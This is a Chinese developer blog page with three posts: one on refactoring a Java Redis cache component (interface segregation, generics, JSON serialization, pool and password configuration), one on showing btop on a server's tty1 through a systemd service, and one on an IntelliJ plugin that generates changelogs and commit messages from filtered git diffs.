IntelliAI JavaDoc - AI 驱动的 JavaDoc 自动生成插件
IntelliAI Changelog - AI 一键生成 Changelog、日报、周报

缓存组件重构：一个接口塞了 50 个方法

Wed, 04 Feb 2026 00:00:00 GMT

一个接口，五十几个方法

打开缓存组件的 CacheService 接口，我看到的是一个长达 573 行的定义——五十几个方法，从基本的 get/set/delete，到 Hash 操作的 hget/hset，到 List 操作的 lpush/lpop，到 Set 操作，再到各种带过期时间的变体。它像是把 Redis 的所有命令直接翻译成了 Java 方法，然后用一个接口兜住。

这种设计有几个后果。

实现类被迫实现所有方法。 即使某个实现只支持 String 操作，它也得把 Hash、List、Set 的方法全部写上——哪怕方法体是 throw new UnsupportedOperationException()。这是典型的”胖接口”问题，违反了接口隔离原则（ISP）。

使用者不知道什么时候该用什么。 五十几个方法摊在一个接口里，光 IDE 的自动补全列表就要翻好几页。想缓存一个简单的 KV 对，要在一堆 putHash、pushLeft、addSet 里找到正确的 set 方法。

扩展新能力时改的就是这个接口。 每次想加一个缓存操作类型，比如 Bitmap 或者 Geo，这个接口就要加方法。然后所有实现类都要跟着改。接口越来越胖，改一次影响面越来越大。

问题的根源是把”缓存”当成了一个单一概念。但实际场景中，“缓存”是多种数据结构的集合——有人用 String，有人用 Hash 存对象字段，有人用 List 做消息队列，有人用 Set 做去重。它们之间没有内在联系，只是恰好都由 Redis 提供而已。强行把它们捏在一个接口里，是混淆了”基础设施”和”抽象层级”的边界。

拆开的思路

说白了，解决方案就是拆。按操作类型拆成不同的接口：

// 最基础的 KV 操作 —— 90% 的场景用这个就够了
public interface BasicCacheOperations {
    boolean hasKey(String key);
    <T> T get(String key);
    <T> void set(String key, T value);
    <T> void set(String key, T value, Duration expiration);
    void delete(String key);
    boolean expire(String key, Duration expiration);
}

// Hash 操作 —— 存对象字段的场景
public interface HashCacheOperations {
    <T> void putHash(String key, String hashKey, T value);
    <T> T getHash(String key, String hashKey);
    <T> Map<String, T> getHashAll(String key);
    void deleteHash(String key, String... hashKeys);
}

// List 操作 —— 消息队列、时间线等场景
public interface ListCacheOperations {
    <T> void pushLeft(String key, T value);
    <T> void pushRight(String key, T value);
    <T> T popLeft(String key);
    <T> T popRight(String key);
    <T> List<T> range(String key, int start, int end);
}

业务方只注入自己需要的接口：

@Service
public class UserService {
    // 只需要 KV 缓存，就只注入这个
    private final BasicCacheOperations cache;

    public UserService(BasicCacheOperations cache) {
        this.cache = cache;
    }
}

这样做有三个好处。只引入需要的能力，不会看到一堆无关的方法。实现类只实现一个窄接口，代码量小、测试容易。新增操作类型不需要改已有接口，比如加 Bitmap 就加一个 BitmapCacheOperations，对现有代码零影响。

实现层可以根据实际使用的 Redis 客户端（Redisson、Jedis、CtgJedis）提供不同实现，但都遵循同样的接口契约。模板方法模式在这里也很自然——公共逻辑（key 前缀校验、序列化、异常处理）放在抽象基类中，具体的数据操作由子类实现：

public abstract class AbstractCacheTemplate implements BasicCacheOperations {

    protected abstract void doSet(String key, byte[] value, Duration expiration);
    protected abstract byte[] doGet(String key);

    @Override
    public final <T> void set(String key, T value, Duration expiration) {
        validateKey(key);
        validateValue(value);
        String finalKey = buildKey(key);
        try {
            doSet(finalKey, serialize(value), expiration);
        } catch (Exception e) {
            throw new CacheException("设置缓存失败, key=" + finalKey, e);
        }
    }
}

这样具体的 Redis 客户端实现（Redisson、Jedis）只需要实现 doSet 和 doGet 两个方法，key 校验、序列化、异常处理全部在基类里搞定。新的客户端接入时，关注点只有”怎么连上 Redis”和”怎么读写数据”，不用考虑上层逻辑。

静态工具类的罪与罚

缓存组件里还有一个让我很在意的东西——CacheUtil。它是一个静态工具类，内部持有一个单例的 CacheService 实例：

public class CacheUtil {
    private static volatile CacheService cacheService;

    public static void setCacheService(CacheService service) {
        cacheService = service;
    }

    public static <T> T getObject(String key) {
        if (StringUtils.isEmpty(key)) return null;
        return cacheService.get(key);
    }
    // ... 还有几十个类似的静态方法，每一个都有相同的空值检查逻辑
}

这种写法的第一个问题是和 Spring 的依赖注入理念冲突。在 Spring 管理的容器里，你用 CacheUtil.setCacheService(service) 手动设置了一个静态单例，这意味着：

无法通过构造函数注入，单元测试很难 mock；
如果 CacheService 还没初始化就被调用，直接 NPE；
如果有多个不同配置的缓存实例，静态工具类没法区分。

第二个问题是代码重复。CacheUtil 里每个方法都在重复做同样的事——检查 key 是否为空，检查 cacheService 是否为空，调用对应的 CacheService 方法。五十几个方法，同样的逻辑重复了五十几次。写的时候不觉得，改的时候就知道疼了。

其实 CacheUtil 出现的原因我大概能猜到——大概是有同事觉得每次都注入 CacheService 太麻烦，写个静态工具类一行搞定。但这是用”方便”换”正确性”的典型操作。更方便的做法是保留 CacheService 作为 Spring Bean，需要用的地方直接注入。如果某些不能走依赖注入的场景（比如静态工具类、非 Spring 管理的类），可以通过 SpringContextHolder 获取 Bean，但不要反过来——不要因为方便就把核心能力静态化。

泛型放错了位置

上面说的都是接口太大、工具类太僵的问题。但看完 CacheService 和 CacheUtil 的代码，还有一个更隐蔽的设计问题——泛型参数 T 放在了接口上，而不是方法上。

CacheService 的定义是这样的：

public interface CacheService<T> {
    T getObject(String key);
    void setObject(String key, T value);
    Map<String, T> getMapItems(String key);
    List<T> getListItem(String key);
    // ... 其他方法
}

<T> 在接口级别，意味着一个 CacheService 实例只能操作一种类型。你注入 CacheService<User>，那就只能存取 User 对象；注入 CacheService<Order>，就只能存取 Order 对象。

但缓存不是这样用的。同一个 Redis 实例里，key "user:1001" 存的是 User，key "order:5002" 存的是 Order，key "config:site" 存的是 SiteConfig。一个缓存组件天然要处理多种类型。把 <T> 放在接口级别，等于是给一个多类型的容器强加了单类型的约束。

这个设计缺陷直接导致了 CacheUtil 里的各种怪现象。

第一，注入时用了裸类型。 CacheUtil 是这样注入 CacheService 的：

@Resource
private CacheService cacheService;  // 裸类型，没有泛型参数

如果你写成 CacheService<User>，那就只能操作 User；写成 CacheService<Object>，那 getObject 返回的就是 Object，调用方还是要自己强转。无论怎么写都不对，所以干脆不写泛型参数——裸类型。而 Java 的裸类型是为了兼容 Java 5 之前的老代码存在的，IDEA 会给你一个黄色警告，但在当时的设计下，这个警告没法消掉。

第二，到处是强制类型转换。 因为注入的是裸类型，getObject 返回的是 Object，所以 CacheUtil 的每个 getter 方法都在做强转：

public static <T> T getObject(String key) {
    return !StringUtils.isEmpty(key) ? (T) cacheUtil.cacheService.getObject(buildKey(key)) : null;
}

public static <T> T getMapItem(String key, String itemid) {
    return !StringUtils.isEmpty(key) && !StringUtils.isEmpty(itemid)
           ? (T) cacheUtil.cacheService.getMapItem(buildKey(key), itemid)
           : null;
}

public static <T> T lpop(String key) {
    return !StringUtils.isEmpty(key)
           ? (T) cacheUtil.cacheService.lpop(buildKey(key))
           : null;
}

每一个 (T) 都是一个潜在的 ClassCastException——只不过它不在这个工具类里炸，而是在调用方拿到对象、当成某个类型使用的时候炸。编译器帮不了你，因为强制转换绕过了所有类型检查。

第三，假装接受 Class 参数但根本不用。 CacheUtil 里有两个方法接受 Class<T> 参数，看起来像是要做类型安全的反序列化：

public static <T> T getObjectByte(String key, Class<T> clazz) {
    byte[] bytes = getObjectByte(key);
    return bytes == null ? null : ObjectUtil.deserialize(bytes);
}

public static <T> T getObject(String key, Class<T> clazz) {
    if (!StringUtils.isEmpty(key)) {
        return getObject(key);
    } else {
        return null;
    }
}

clazz 参数传进来了，但方法体里完全没用到。Java 原生序列化（ObjectUtil.deserialize）不需要传入目标类型，它直接从字节流里还原对象的完整类型信息。getObject(String, Class) 更离谱——直接调了 getObject(String)，clazz 形同虚设。这两个方法的存在反而会误导调用方，让人觉得”我传了类型，返回的就是这个类型，很安全”，实际上没有任何类型安全保障。

更有意思的是 getObjectByte 方法上注释的原文：“涉及的子类都需要添加，否则无法序列化；所以这里没有生效此参数”。作者自己也知道 clazz 参数没生效，但还是把它留在了方法签名里。这种”留个口子但不用”的做法，后来者看了会困惑：这个参数到底该不该传？传了有什么用？

第四，藏着 ClassCastException 的定时炸弹。 看这个方法：

public static <T> List<T> getObjectList(String key) {
    if (!StringUtils.isEmpty(key)) {
        return getObject(key);
    } else {
        return null;
    }
}

getObject(key) 的返回类型是 T（单个对象），但这里直接把它赋值给了 List<T>。编译器不会报错，因为方法级的 <T> 遮盖了实际类型——Java 的泛型擦除让这段代码编译通过，但运行时如果缓存里存的不是 List，就是 ClassCastException。而且这个异常不在这里抛，在调用方遍历这个 List 的时候才抛——排查起来够你喝一壶的。

怎么改。 根因是 <T> 放错了位置。缓存组件的接口不应该在接口级别定义泛型，而应该在方法级别：

// 正确做法：泛型在方法上
public interface CacheService {
    <T> T getObject(String key);
    <T> void setObject(String key, T value);
    <T> Map<String, T> getMapItems(String key);
    // ...
}

但光这样还不够——遇到 JSON 反序列化时，你还是需要告诉框架目标类型是什么（不然反序列化成 LinkedHashMap 还是 User？）。所以对于需要反序列化的方法，加上 Class<T> 参数，并且真正使用它：

public interface CacheService {
    <T> T getObject(String key, Class<T> type);
    <T> void setObject(String key, T value);
    <T> Map<String, T> getMapItems(String key, Class<T> valueType);
}

这样 CacheUtil 就不需要裸类型和强制转换了。Class<T> 参数不仅用于反序列化，也是编译期的类型证明——调用方传了 User.class，编译器就能推断出返回 User，不需要任何强转。

这是接口分离之外的另一个重构维度。但正如开头说的渐进式策略，把接口级的 <T> 移到方法级属于不兼容变更——所有引用了 CacheService<User> 的地方都要改。所以它应该和接口拆分一起做，放在第二阶段，同时保留旧接口并标记 @Deprecated，给业务方足够的迁移时间。

序列化：一个被忽略的性能点

框架里缓存组件的序列化用的是 Java 原生序列化：

public <T> void set(String key, T value) {
    byte[] bytes = ObjectUtil.serialize(value);
    redis.set(key, bytes);
}

Java 原生序列化的问题不只是慢——序列化后的数据体积通常是 JSON 的 2-5 倍，跨语言不兼容，而且反序列化有安全风险（反序列化漏洞）。对于一个缓存组件来说，序列化的性能直接影响缓存的读写速度。如果每次 get 都比 JSON 慢几毫秒，那在高并发场景下，这些毫秒就变成了秒。

换成 JSON 序列化并不复杂：

@Component
public class JsonSerializer implements CacheSerializer {
    private final ObjectMapper objectMapper;

    public JsonSerializer(ObjectMapper objectMapper) {
        // 复用 Spring 的 ObjectMapper，保持序列化行为一致
        this.objectMapper = objectMapper;
    }

    @Override
    public byte[] serialize(Object obj) {
        try {
            return objectMapper.writeValueAsBytes(obj);
        } catch (JsonProcessingException e) {
            throw new SerializationException("缓存序列化失败", e);
        }
    }

    @Override
    public <T> T deserialize(byte[] data, Class<T> type) {
        try {
            return objectMapper.readValue(data, type);
        } catch (IOException e) {
            throw new SerializationException("缓存反序列化失败", e);
        }
    }
}

复用 Spring 的 ObjectMapper 而不是自己 new 一个的好处是：保持了序列化行为的一致性。Spring 的 ObjectMapper 已经配置好了日期格式、时区、各种 Jackson 模块，你直接用就好。

但有一个需要注意的细节：JSON 序列化会丢失类型信息。用原生序列化时，deserialize(bytes) 拿到的是原始对象。用 JSON 时，deserialize(bytes, User.class) 需要额外传入目标类型。对于复杂的泛型对象（如 List<User>），还需要 TypeReference。这也是为什么缓存接口的 get 方法需要接受一个 Class<T> 参数的原因。

连接池：容易被忽略的基础设置

缓存组件的连接池配置比较随意。Jedis 模式下：

// 当前配置
maxTotal: 10
maxIdle: 10
minIdle: 3

一个微服务在高并发下几十个线程同时访问 Redis，maxTotal=10 意味着很多线程在等连接。更合理的值取决于实际负载，但至少 maxTotal 和 CPU 核心数、业务线程数有个合理的比例关系。建议的基线：

framework:
  cache:
    redisson:
      pool:
        max-active: 64      # 视并发量调整
        max-idle: 32
        min-idle: 10
        max-wait: 3000ms

还要注意连接泄露的问题。每次缓存操作应该在 finally 块中归还连接。最好的做法是不要在接口暴露连接对象，让连接的管理完全封装在实现层内部：

// 不好的做法：暴露连接对象
Jedis jedis = pool.getResource();
try {
    jedis.set(key, value);
} finally {
    jedis.close();
}

// 好的做法：封装在实现内部
public <T> void set(String key, T value) {
    try (Jedis jedis = pool.getResource()) {
        // 连接获取和归还由 try-with-resources 保证
        jedis.set(key, serialize(value));
    }
}

还有一种情况要警惕——RedissonClient 是线程安全的，不需要每次操作都获取新连接。但 Jedis 对象不是线程安全的，不能跨线程共享。不同的 Redis 客户端有不同的线程模型，缓存抽象层要做好隔离，不能让上层业务感知到这些差异。

密码不应该明文躺着

缓存配置里 Redis 密码直接明文写在 yaml 里：

spring:
  data:
    redis:
      password: myPlainTextPassword

最低限度的改进是用环境变量：

spring:
  data:
    redis:
      password: ${REDIS_PASSWORD}

如果框架有内置的加密能力（比如国密 SM4），可以支持密文配置：

spring:
  data:
    redis:
      password: "{cipher}base64EncodedEncryptedPassword"

ConfigDecryptor 在启动时检测 {cipher} 前缀，自动解密。这样配置文件里不会出现明文密码，即使配置文件泄露，攻击者也拿不到真实的 Redis 密码。

渐进式重构

这个缓存组件的改动原则和 Response 一样：保持向后兼容，分阶段迁移。

第一阶段，把 @Value 注入改成 @ConfigurationProperties，统一配置管理。这一步对业务方完全透明。

第二阶段，拆出 BasicCacheOperations、HashCacheOperations 等新接口，同时保留旧的 CacheService 接口——让它继承新接口，标记 @Deprecated：

@Deprecated
public interface CacheService extends BasicCacheOperations, HashCacheOperations, ListCacheOperations {
    // 旧方法保留，代理到新接口
}

第三阶段，替换序列化方式，从 Java 原生序列化切换到 JSON。同时需要兼容已有的缓存数据——要么做数据迁移，要么对无法反序列化的 key 做降级处理（删除旧缓存、写入新格式）。

第四阶段，加监控。缓存命中率、平均延迟、连接池利用率，这些指标在出现性能问题之前就应该被收集起来。Prometheus 的 Timer 和 Counter 就能满足需求：

@Component
public class CacheMetrics {
    private final Counter hitCounter;
    private final Counter missCounter;
    private final Timer operationTimer;

    public void recordHit() { hitCounter.increment(); }
    public void recordMiss() { missCounter.increment(); }
    public Timer.Sample startTimer() { return Timer.start(); }
}

有了这些指标，你才知道缓存的命中率有没有因为业务变更而下降，某个 key 的读写延迟有没有突然飙升。这些信息在没有监控之前，只有等业务方反馈”系统变慢了”才能知道。

下一篇聊配置管理。@ConfigurationProperties 的嵌套校验怎么做、共享配置怎么分层、Spring Boot 配置加载顺序里的坑——为什么 application.yml 不能随意拆分。这是我在项目中改动最多、见效最快的一个方向。

服务器开机后在 tty1 自动显示 btop：一块小屏幕救一根 HDMI 线的故事

Sun, 01 Feb 2026 00:00:00 GMT

背景：我只是想让那块小屏幕别闲着

家里那台服务器是主力 Homelab，24 小时跑着 PVE、几个 LXC、几组 Docker。之前监控全靠 Grafana + Nezha，看得很全，但有个问题：每次我想”扫一眼当前状态”，都得掏手机或者切到电脑上的浏览器。

某天翻出一块以前买摄像头配的 7 寸 HDMI 小屏幕，突然就想：**要是把它接到服务器 HDMI 口上，常亮挂一个 btop 不就好了？**走过服务器旁边看一眼 CPU/内存/磁盘/网络，比掏手机快多了。

理想很美好，现实一接上就踩坑：

开机后屏幕默认停在 getty@tty1 的登录提示符
要看 btop 得先插键盘、输账号密码、btop 回车
我的服务器放在柜子里，键盘根本不在旁边
偶尔掉电重启，每次都要拖一根键盘线过去，心态爆炸

说白了我要的不是”登录系统”，我要的是一块常亮的监控屏。那 tty1 这个位置就不能留给 getty，而应该直接跑 btop。

记录一下最后的方案，顺便留档给未来的自己。

目标

开机后 tty1 直接显示 btop，不需要登录、不需要键盘
屏幕 24 小时常亮做仪表盘用
不想登录界面？切到 tty2（Ctrl+Alt+F2）照样能登
随时能滚回默认的 getty 登录行为

思路

这套方案其实很朴素：

停掉默认抢占 tty1 的 getty@tty1 登录服务
自己写一个 systemd service，把 tty1 指给 btop
加上 Restart=always，万一 btop 因为终端尺寸变化退出，秒起

核心坑只有一个：tty1 默认是被 getty@.service 模板实例化抢走的，你不屏蔽它，你的服务进程会跟它抢同一个 TTY，结果就是屏幕上闪烁、光标乱跳、btop 一直被挤下去。

下面是具体操作，环境是 Debian 系（Proxmox VE / Ubuntu Server 通用），其他发行版 systemd 逻辑一致，只是包管理命令换一下。

一、让 btop 跑起来

1. 安装 btop

apt update
apt install -y btop

装完随便 btop 一下确认能跑，确认一下字符是不是乱的。如果乱码，一般是 locale 或者 TERM 没设对，后面 service 里我直接写死 xterm-256color，大概率没问题。

2. 停掉并屏蔽 getty@tty1

systemctl disable --now getty@tty1.service
systemctl mask getty@tty1.service

两步要一起做：disable --now 是让它停掉并且开机不再起；mask 是彻底屏蔽，防止被依赖关系反向拉起。只 disable 不 mask 会踩坑，一些 target 会把它重新拽回来。

可选清理一下残留配置，避免以后改的时候被老文件误导：

rm -rf /etc/systemd/system/getty@tty1.service.d

3. 新增 btop 的 systemd 服务

创建文件 /etc/systemd/system/pve-dashboard-tty1.service，内容如下：

[Unit]
Description=btop on tty1
After=multi-user.target

[Service]
Type=simple
User=root
StandardInput=tty
StandardOutput=tty
StandardError=tty
TTYPath=/dev/tty1
TTYReset=no
TTYVHangup=no
TTYVTDisallocate=no
Environment=TERM=xterm-256color
WorkingDirectory=/root
ExecStart=/usr/bin/btop
Restart=always
RestartSec=2

[Install]
WantedBy=multi-user.target

几个字段单独说两句，都是踩过坑才写进去的：

StandardInput/Output/Error=tty + TTYPath=/dev/tty1：把 btop 的三条流都接到 tty1 上，不然你会看到服务”起来了”，但屏幕上什么都没有
TTYReset=no、TTYVHangup=no、TTYVTDisallocate=no：关掉 systemd 自作主张的 TTY 重置。开了之后每次 service 重启屏幕都会黑一下，体验很割裂
Environment=TERM=xterm-256color：不写的话 btop 出来的画面可能没颜色或者字符错位
Restart=always + RestartSec=2：给 btop 偶发退出兜底（比如我手贱切过屏幕分辨率）
service 名字里带了 pve-dashboard- 前缀，是为了以后 systemctl list-units | grep dashboard 一眼就能找到

4. 启用并启动

systemctl daemon-reload
systemctl enable --now pve-dashboard-tty1.service

这一下执行完，屏幕上应该已经是 btop 的界面了。如果还停在登录提示符，99% 是第 2 步的 getty 没屏蔽干净，回去 systemctl status getty@tty1.service 看看。

5. 验证

systemctl status pve-dashboard-tty1.service --no-pager

能看到 active (running)，并且屏幕实时显示 CPU/内存的动态图，就成了。

6. 给自己留个登录口子：tty2

tty1 被 btop 占了之后，想本地登录怎么办？启用 tty2 就好：

systemctl enable --now getty@tty2.service

屏幕前按 Ctrl + Alt + F2 切到 tty2 登录，Ctrl + Alt + F1 切回 btop。插上键盘就是传统 Linux 控制台，拔掉键盘就是一块监控屏，两不耽误。

二、回滚：恢复默认的 tty1 登录界面

哪天不想要仪表盘模式了，或者要把机器送去维修，按顺序跑一遍就能恢复。

1. 停掉 btop 服务

systemctl disable --now pve-dashboard-tty1.service
rm -f /etc/systemd/system/pve-dashboard-tty1.service

2. 解除屏蔽并启用 getty@tty1

systemctl unmask getty@tty1.service
systemctl enable --now getty@tty1.service

3. 重载 systemd

systemctl daemon-reload

4. 验证

systemctl status getty@tty1.service --no-pager

能看到 active (running)，屏幕回到熟悉的 login: 提示符，整个操作就闭环了。

一些题外话

这事做完之后，我又顺手干了两件相关的小优化，这里一起记一下：

关掉屏幕休眠：控制台默认有 consoleblank 把屏幕黑掉，在 /etc/default/grub 里把 GRUB_CMDLINE_LINUX_DEFAULT 加上 consoleblank=0，然后 update-grub + 重启就好
btop 的配色：默认主题在小屏幕上不太醒目，我换成了 gruvbox_dark，远远一眼看过去颜色层次更清楚
HDMI 自动亮度：小屏幕自带的 OSD 菜单把亮度调到 30 左右，白天够看、晚上不刺眼

总的来说这套方案非常朴素，一共就改了一个 systemd service 文件，但解决了一个每天都会发生的小痛点：服务器旁边的那块屏幕终于有存在感了。

以前它只是一块盖灰用的塑料板，现在走过去瞟一眼就能知道机器是不是在正常呼吸，这种感觉还挺好的。

我写了一个 IntelliJ IDEA 插件，用 AI 一键生成 Changelog

Mon, 26 Jan 2026 00:00:00 GMT

现有方案的痛点

市面上 Changelog 生成工具不少，conventional-changelog、git-changelog、release-drafter 都能用，但它们有一个共同前提：团队得严格遵守约定式提交规范。实际项目里，fix bug、update、修复了问题 这种提交满地都是，你没法指望所有人都按规范写。这些工具拿到这种”垃圾进”，只能给你”垃圾出”。

那用 AI 呢？比如把 Git Log 复制到 ChatGPT 或者让 Cursor 帮忙整理，确实能生成不错的内容。但问题是：

token 浪费严重：现在的 AI 工具都是大而全的 Agent，接入大量 MCP 和 Skill，你只是想让它整理几条提交记录，它也要加载一堆上下文，消耗的 token 远超实际需要
批量场景撑不住：想为整个项目的提交历史批量生成 Changelog？几次就报上下文超长，得手动切分范围重来
流程割裂：IDE 里选中提交 → 复制 → 切到外部工具 → 粘贴 → 等结果 → 复制回来，每次都要中断开发流程
提交信息本身的困境：不只是整理历史记录痛苦，写 commit message 也一样——改了一堆文件，不知道怎么一句话说清楚

而这个场景的 AI 调用其实非常简单：输入是选中的提交记录（或者代码 diff），输出是格式化的文本，一轮问答就够了。不需要 Agent 思考，不需要调工具，不需要长上下文。用最原始的”你问我答”模式，token 消耗比通用 AI 工具少一个数量级。

所以我的思路是：把这种极简的 AI 调用直接嵌到 IDE 里，选中 Git 提交 → 右键 → 一键生成，不需要离开 IntelliJ IDEA，不多消耗一个 token。

功能一览

插件提供四个核心功能：

功能	入口	说明
生成 Changelog	Git Log 右键菜单	基于选中的提交记录，生成版本更新日志
生成日报	Git Log 右键菜单	基于当天的提交记录生成工作日报
生成周报	Git Log 右键菜单	汇总一周提交生成团队周报
生成提交信息	Git 提交页面工具栏	基于代码 diff 生成规范的 commit message

所有生成都走 AI，支持 OpenAI、Anthropic、Ollama 等多种后端，通过 IntelliAI Engine 统一调用。

和其他方案比，好在哪

核心差异就一句话：这是一个轻量级的专用 AI 插件，而不是一个通用 AI Agent。

vs 传统 Changelog 工具（conventional-changelog、release-drafter 等）：

不依赖提交规范。就算团队的提交记录是 fix bug、update，AI 也能基于 diff 和上下文理解实际改了什么
不只是格式化，是真的”理解”代码变更，生成有意义的描述

vs 通用 AI 工具（ChatGPT、Cursor 等）：

Token 消耗低一个数量级。没有 Agent、没有 MCP、没有 Skill 加载，就是纯粹的 prompt → response
无缝集成在 IDE 里，选中提交 → 右键 → 出结果，不需要切换窗口
支持多线程批量生成，不存在上下文超长的问题
模板可定制，生成风格和格式完全可控

vs 其他 Changelog 插件：

不只是 Changelog。同一个插件覆盖了 Changelog、日报、周报、commit message 四个场景
基于代码 diff 生成 commit message，不是只看文件名猜
支持多种 AI 后端，不绑定某一家

核心：用最少的 token 生成最准确的结果

这个插件最核心的价值不是”能调 AI”，而是怎么把喂给 AI 的数据压缩到极致，同时不丢失关键信息。

别人可能直接把 git diff 原样扔给 AI，但实际项目里这行不通：

一次提交可能改了几十个文件，diff 文本动辄几万行
自动生成的文件（proto、swagger、ORM 映射等）占了大量篇幅但对理解变更没用
删除的文件不需要把内容发给 AI，只需要告诉它”删了什么”
纯格式化变更（空格、import 顺序、注释修改）会淹没真正有意义的改动

插件在组装 prompt 之前，对 diff 做了多层过滤和压缩。

变更类型识别

插件不会对所有文件一视同仁，而是根据变更类型采用不同的处理策略：

// CodeDiffUtil.java
if (changeType == CodeDiff.ChangeType.DELETE) {
    // 删除的文件：不发 diff 内容，只记录文件路径和行数
    diffContent = null;
} else if (changeType == CodeDiff.ChangeType.ADD) {
    // 新增文件：只预览前 50 行，跳过 import 语句，限制 4000 字符
    diffContent = buildAddedFilePreview(change, virtualFile);
} else if (changeType == CodeDiff.ChangeType.RENAME) {
    // 纯重命名（没有内容变更）：只记录 "moved from A to B"
    diffContent = buildMovedFileSummary(change);
} else {
    // 修改文件：提取真正的 diff
    diffContent = extractDiffResult(change);
}

这就意味着：

删除一个 500 行的文件：AI 只看到 src/foo.java deleted，不会把 500 行代码发过去
新增一个生成的代码文件：AI 只看到前 50 行预览，不是把整个文件塞进去
重命名一个文件：AI 只看到 moved from old.java to new.java，不需要 diff

过滤噪音 diff

在生成 unified diff 时，插件对每个 diff 块做了四层噪音过滤：

// CodeDiffUtil.java - generateUnifiedDiffInternal()

// 1. 纯空白字符变更：前后内容去掉空白后一样，跳过
if (isWhitespaceOnlyChange(beforeChanged, afterChanged)) {
    continue;
}

// 2. 纯 import 变更：只改了 import 语句，跳过
if (isImportOnlyChange(beforeChanged, afterChanged)) {
    continue;
}

// 3. 纯注释变更：Java 文件中只改了注释，跳过
if (isJavaFile && isCommentOnlyChange(beforeChanged, afterChanged)) {
    continue;
}

// 4. 纯顺序调整：行内容没变，只是顺序调了，跳过
if (isJavaFile && isReorderOnlyChange(beforeChanged, afterChanged)) {
    continue;
}

这四层过滤可以在大多数场景下把 diff 量砍掉 30%-50%。

硬限制截断

即使经过过滤，某些文件的 diff 仍然可能很长（比如大文件的重构）。插件设置了多层硬限制：

// 每个文件最多保留 6 个 diff 块
private static final int MAX_HUNKS_PER_FILE = 6;

// 单个 diff 块最多保留 20 行
private static final int MAX_LINES_PER_HUNK = 20;

// 单行最大 240 字符（超过截断）
private static final int MAX_DIFF_LINE_CHARS = 240;

// 新增文件预览最大 4000 字符
private static final int MAX_ADDED_PREVIEW_CHARS = 4000;

// 单文件 diff 最大 12000 字符（超过直接截断）
private static final int MAX_DIFF_CHARS_PER_FILE = 12000;

这意味着不管你的提交改了多大的文件，每个文件发给 AI 的数据量是有上限的。一个文件改了 200 处，AI 也只看到最有意义的 6 个 hunk、每个最多 20 行。

PSI 语义增强

过滤和截断解决的是”少发”的问题，但还有一个挑战：diff 本身缺少上下文。比如你改了一个方法体，diff 只显示 + 和 - 的行，AI 不知道这个方法叫什么、属于哪个类。

插件通过 IntelliJ PSI 接口，在 diff 块中注入符号上下文：

// CodeDiffUtil.java - generateUnifiedDiffInternal()
String context = resolveSymbolContext(virtualFile, afterStart, beforeStart);
if (context != null && !context.isEmpty()) {
    diff.append("上下文: ").append(context).append("\n");
}

PSI 解析器支持 Java、Kotlin、Go、Python、XML 等语言，能自动识别变更所在的类名、方法名、模块名。这样 AI 看到的不是一堆裸 diff，而是带有语义标注的结构化数据。

实际效果

一套组合拳下来，同样的代码变更，插件发给 AI 的 token 量大约是直接发 git diff 的 1/5 到 1/10。而且因为噪音被过滤掉了，AI 的生成质量反而更高——它不会被格式化变更误导，能专注于理解真正的业务改动。

架构设计

整体分四层：

┌─────────────────────────────────────────────────────────────┐
│                    IntelliJ IDEA                           │
├─────────────────────────────────────────────────────────────┤
│  UI Layer                                                   │
│  ├── Git Log 右键菜单                                       │
│  ├── Git 提交页面集成                                       │
│  ├── 设置面板                                               │
│  └── 结果展示对话框                                         │
├─────────────────────────────────────────────────────────────┤
│  Service Layer                                              │
│  ├── ChangelogService (核心服务)                             │
│  ├── CommitMessageGenerator (提交信息生成器)                 │
│  ├── Git 操作封装                                           │
│  └── 模板管理器                                             │
├─────────────────────────────────────────────────────────────┤
│  AI Integration Layer                                       │
│  ├── IntelliAI Engine 依赖                                  │
│  ├── Prompt 模板引擎                                        │
│  └── 响应处理器                                             │
├─────────────────────────────────────────────────────────────┤
│  Data Layer                                                 │
│  ├── JGit 提交记录读取                                      │
│  ├── Code Diff 分析                                         │
│  └── 配置持久化                                             │
└─────────────────────────────────────────────────────────────┘

核心服务：ChangelogService

这是整个插件的核心，负责读取提交、组装 prompt、调 AI 生成内容：

@Service(Service.Level.PROJECT)
public final class ChangelogService {

    @NotNull
    public String generateChangelog(@NotNull List<String> commitHashes) {
        // 1. 通过 JGit 读取提交记录
        List<CommitInfo> commits = readCommits(commitHashes);

        // 2. 按日期分组，组装 prompt
        String prompt = buildPrompt(commits);

        // 3. 调用 AI 服务
        return callAIService(prompt);
    }

    @NotNull
    public String generateDailyReport(@NotNull List<String> commitHashes) {
        // 使用日报模板
    }

    @NotNull
    public String generateWeeklyReport(@NotNull List<String> commitHashes) {
        // 使用周报模板
    }
}

读取 Git 提交

用 JGit 读取选中的提交记录，提取 hash、消息、作者、时间：

@NotNull
private List<CommitInfo> readCommits(@NotNull List<String> commitHashes) {
    List<CommitInfo> commits = new ArrayList<>();
    Repository repository = getRepository();

    try (Git git = new Git(repository)) {
        for (String hash : commitHashes) {
            ObjectId commitId = repository.resolve(hash);
            if (commitId != null) {
                RevCommit commit = git.log()
                    .add(commitId)
                    .setMaxCount(1)
                    .call()
                    .iterator()
                    .next();

                commits.add(new CommitInfo(
                    commit.getName(),
                    commit.getShortMessage(),
                    commit.getFullMessage(),
                    new Date(commit.getCommitTime() * 1000L),
                    commit.getAuthorIdent().getName()
                ));
            }
        }
    }
    return commits;
}

基于 Diff 生成提交信息

除了从提交记录生成 Changelog，插件还能在提交前分析代码 diff，自动生成 commit message：

@NotNull
public String generateCommitMessageFromDiff(@NotNull Collection<Change> changes) {
    // 1. 提取代码变更信息
    List<CodeDiff> codeDiffs = CodeDiffUtil.extractCodeDiffs(changes);

    if (codeDiffs.isEmpty()) {
        throw new Exception("没有检测到代码变更");
    }

    // 2. 构建 prompt，包含文件路径、变更类型、增删行数、diff 内容
    String prompt = buildPromptFromCodeDiff(codeDiffs);

    // 3. 调用 AI
    return callAIServiceForCommitMessage(prompt);
}

Diff 分析会过滤掉纯格式化变更（空白字符改动），只保留有意义的代码变更：

private static boolean isMeaningfulChange(CodeDiff diff) {
    if (diff.addedLines == 0 && diff.deletedLines == 0) {
        return false;
    }
    if (diff.diffContent != null &&
        diff.diffContent.matches("(?s).*^\\s*[+-]\\s*$.*")) {
        return false;
    }
    return true;
}

Prompt 设计

Changelog 生成用的系统提示词：

private static final String CHANGELOG_SYSTEM_PROMPT = """
    你是一位专业的技术文档撰写专家。

    根据 Git 提交记录生成版本更新日志。

    生成原则：
    1. 用户导向：重点说明对用户的价值，不是技术细节
    2. 分类清晰：按功能类型分类
    3. 语言简洁：避免过于技术化的描述
    4. 格式规范：Markdown 格式，适当 emoji

    分类标准：
    - 🎉 重大更新：重要功能发布、架构升级
    - 🚀 新增功能：新功能模块
    - 🐛 问题修复：Bug 修复
